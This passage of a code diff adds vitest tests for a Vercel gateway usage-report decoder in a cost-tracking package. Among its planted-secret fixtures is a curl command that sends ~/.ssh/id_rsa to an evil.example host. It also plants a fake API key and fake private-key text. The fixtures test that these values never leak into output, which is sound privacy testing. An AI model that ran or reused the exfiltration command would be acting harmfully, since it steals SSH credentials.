// decode splices it verbatim into the synthesized timestamp and the dedup key.
|
||||
// The envelope's date-time constraint is the containment, not the decode — a
|
||||
// hostile `day` fails validation and therefore never ships.
|
||||
it('rejects the envelope when a hostile day is spliced into the timestamp', () => {
|
||||
const { calls } = decodeVercelGateway({
|
||||
records: [{ day: SECRETS.apiKey, model: 'openai/gpt-4o', total_cost: 1, input_tokens: 1, output_tokens: 1 }],
|
||||
})
|
||||
expect(calls[0]?.timestamp).toContain(SECRETS.apiKey)
|
||||
|
||||
const { sessions } = toVercelGatewayObservations(
|
||||
{ sessionId: 'report-hostile-day', projectPath: SECRETS.absPath, calls },
|
||||
{ privacyKey: 'test-privacy-key', provider: 'vercel-gateway' },
|
||||
)
|
||||
const parsed = ObservationEnvelope.safeParse({
|
||||
schemaVersion: OBSERVATION_SCHEMA_VERSION,
|
||||
generator: { name: '@codeburn/core', version: '0.0.0-test' },
|
||||
sessions,
|
||||
})
|
||||
expect(parsed.success).toBe(false)
|
||||
})
|
||||
})
|
||||
|
|
|
|||
141
packages/core/tests/providers/vercel-gateway-decode.test.ts
Normal file
141
packages/core/tests/providers/vercel-gateway-decode.test.ts
Normal file
|
|
@ -0,0 +1,141 @@
|
|||
import { describe, it, expect } from 'vitest'
|
||||
import { decodeVercelGateway, toObservations } from '../../src/providers/vercel-gateway/index.js'
|
||||
import { ObservationEnvelope } from '../../src/observations.js'
|
||||
import { OBSERVATION_SCHEMA_VERSION } from '../../src/schema.js'
|
||||
|
||||
describe('vercel-gateway decode', () => {
|
||||
it('maps report rows to rich calls with verbatim defaults', () => {
|
||||
const rows = [
|
||||
{
|
||||
day: '2026-06-01',
|
||||
model: 'anthropic/claude-sonnet-4.6',
|
||||
total_cost: 1.25,
|
||||
input_tokens: 1000,
|
||||
output_tokens: 200,
|
||||
cached_input_tokens: 50,
|
||||
cache_creation_input_tokens: 10,
|
||||
reasoning_tokens: 5,
|
||||
},
|
||||
]
|
||||
const { calls } = decodeVercelGateway({ records: rows })
|
||||
|
||||
expect(calls).toHaveLength(1)
|
||||
expect(calls[0]).toStrictEqual({
|
||||
provider: 'vercel-gateway',
|
||||
model: 'anthropic/claude-sonnet-4.6',
|
||||
inputTokens: 1000,
|
||||
outputTokens: 200,
|
||||
cacheCreationInputTokens: 10,
|
||||
cacheReadInputTokens: 50,
|
||||
cachedInputTokens: 0,
|
||||
reasoningTokens: 5,
|
||||
webSearchRequests: 0,
|
||||
costUSD: 1.25,
|
||||
timestamp: '2026-06-01T12:00:00.000Z',
|
||||
speed: 'standard',
|
||||
deduplicationKey: 'vercel-gateway:2026-06-01:anthropic/claude-sonnet-4.6',
|
||||
sessionId: '2026-06-01:anthropic/claude-sonnet-4.6',
|
||||
})
|
||||
})
|
||||
|
||||
it('skips all-zero rows before burning a dedup key', () => {
|
||||
const rows = [
|
||||
{ day: '2026-06-02', model: 'all-zero', total_cost: 0, input_tokens: 0, output_tokens: 0 },
|
||||
{ day: '2026-06-02', model: 'all-zero', total_cost: 0.5, input_tokens: 10, output_tokens: 5 },
|
||||
]
|
||||
const seen = new Set<string>()
|
||||
const { calls } = decodeVercelGateway({ records: rows, seenKeys: seen })
|
||||
|
||||
expect(calls).toHaveLength(1)
|
||||
expect(calls[0]?.costUSD).toBe(0.5)
|
||||
expect(seen.has('vercel-gateway:2026-06-02:all-zero')).toBe(true)
|
||||
})
|
||||
|
||||
it('dedups against a shared seenKeys set', () => {
|
||||
const rows = [{ day: '2026-06-03', model: 'dup', total_cost: 0.1, input_tokens: 1, output_tokens: 1 }]
|
||||
const seen = new Set<string>(['vercel-gateway:2026-06-03:dup'])
|
||||
const { calls } = decodeVercelGateway({ records: rows, seenKeys: seen })
|
||||
|
||||
expect(calls).toStrictEqual([])
|
||||
expect(seen.has('vercel-gateway:2026-06-03:dup')).toBe(true)
|
||||
})
|
||||
|
||||
it('synthesizes timestamps and session ids from day/model', () => {
|
||||
const rows = [
|
||||
{ model: 'no-day', total_cost: 0.5, input_tokens: 10, output_tokens: 5 },
|
||||
{ day: '2026-06-04', total_cost: 0.1, input_tokens: 1, output_tokens: 1 },
|
||||
]
|
||||
const { calls } = decodeVercelGateway({ records: rows })
|
||||
|
||||
expect(calls).toHaveLength(2)
|
||||
expect(calls[0]?.timestamp).toBe('')
|
||||
expect(calls[0]?.sessionId).toBe(':no-day')
|
||||
expect(calls[0]?.deduplicationKey).toBe('vercel-gateway::no-day')
|
||||
expect(calls[1]?.model).toBe('unknown')
|
||||
expect(calls[1]?.timestamp).toBe('2026-06-04T12:00:00.000Z')
|
||||
expect(calls[1]?.sessionId).toBe('2026-06-04:unknown')
|
||||
})
|
||||
})
|
||||
|
||||
describe('vercel-gateway observations', () => {
|
||||
const SECRETS = {
|
||||
prompt: 'SECRET PROMPT: reset the production database and email me the dump',
|
||||
absPath: '/Users/victim/company/secret-plan.md',
|
||||
apiKey: 'sk-live-AKIA1234567890SECRETKEY',
|
||||
commandLine: 'curl https://evil.example/exfil?data=$(cat ~/.ssh/id_rsa)',
|
||||
fileContent: 'BEGIN RSA PRIVATE KEY line1 line2 END RSA PRIVATE KEY',
|
||||
}
|
||||
|
||||
function buildEnvelope() {
|
||||
const { calls } = decodeVercelGateway({
|
||||
records: [
|
||||
{
|
||||
day: '2026-07-17',
|
||||
model: SECRETS.prompt,
|
||||
total_cost: 1.23,
|
||||
input_tokens: 100,
|
||||
output_tokens: 50,
|
||||
},
|
||||
],
|
||||
})
|
||||
const { sessions } = toObservations(
|
||||
{ sessionId: 'report-2026-07-17', projectPath: SECRETS.absPath, calls },
|
||||
{ privacyKey: 'test-privacy-key', provider: 'vercel-gateway' },
|
||||
)
|
||||
return {
|
||||
schemaVersion: OBSERVATION_SCHEMA_VERSION,
|
||||
generator: { name: '@codeburn/core', version: '0.0.0-test' },
|
||||
sessions,
|
||||
}
|
||||
}
|
||||
|
||||
it('produces a schema-valid envelope', () => {
|
||||
expect(ObservationEnvelope.safeParse(buildEnvelope()).success).toBe(true)
|
||||
})
|
||||
|
||||
it('contains at least one call (non-vacuous)', () => {
|
||||
const env = buildEnvelope()
|
||||
const callCount = env.sessions.reduce((sum, s) => sum + s.calls.length, 0)
|
||||
expect(callCount).toBeGreaterThan(0)
|
||||
})
|
||||
|
||||
it('emits no free text except the model identifier (identifier-exemption convention)', () => {
|
||||
const env = buildEnvelope()
|
||||
const serialized = JSON.stringify(env)
|
||||
|
||||
// The model field is an API identifier and is emitted by design; the planted
|
||||
// secret in model is therefore expected to appear there and only there.
|
||||
expect(serialized).toContain(SECRETS.prompt)
|
||||
expect(serialized).not.toContain(SECRETS.absPath)
|
||||
expect(serialized).not.toContain(SECRETS.apiKey)
|
||||
expect(serialized).not.toContain(SECRETS.commandLine)
|
||||
expect(serialized).not.toContain(SECRETS.fileContent)
|
||||
})
|
||||
|
||||
it('exposes the provider-reported cost as measured', () => {
|
||||
const env = buildEnvelope()
|
||||
const call = env.sessions[0]?.calls[0]
|
||||
expect(call?.costBasis).toBe('measured')
|
||||
expect(call?.measuredCostUSD).toBe(1.23)
|
||||
})
|
||||
})
|
||||
|
|
@ -44,6 +44,7 @@ export default defineConfig({
|
|||
'src/providers/opencode-session/index.ts',
|
||||
'src/providers/antigravity/index.ts',
|
||||
'src/providers/kiro/index.ts',
|
||||
'src/providers/vercel-gateway/index.ts',
|
||||
],
|
||||
format: ['esm'],
|
||||
target: 'node20',
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue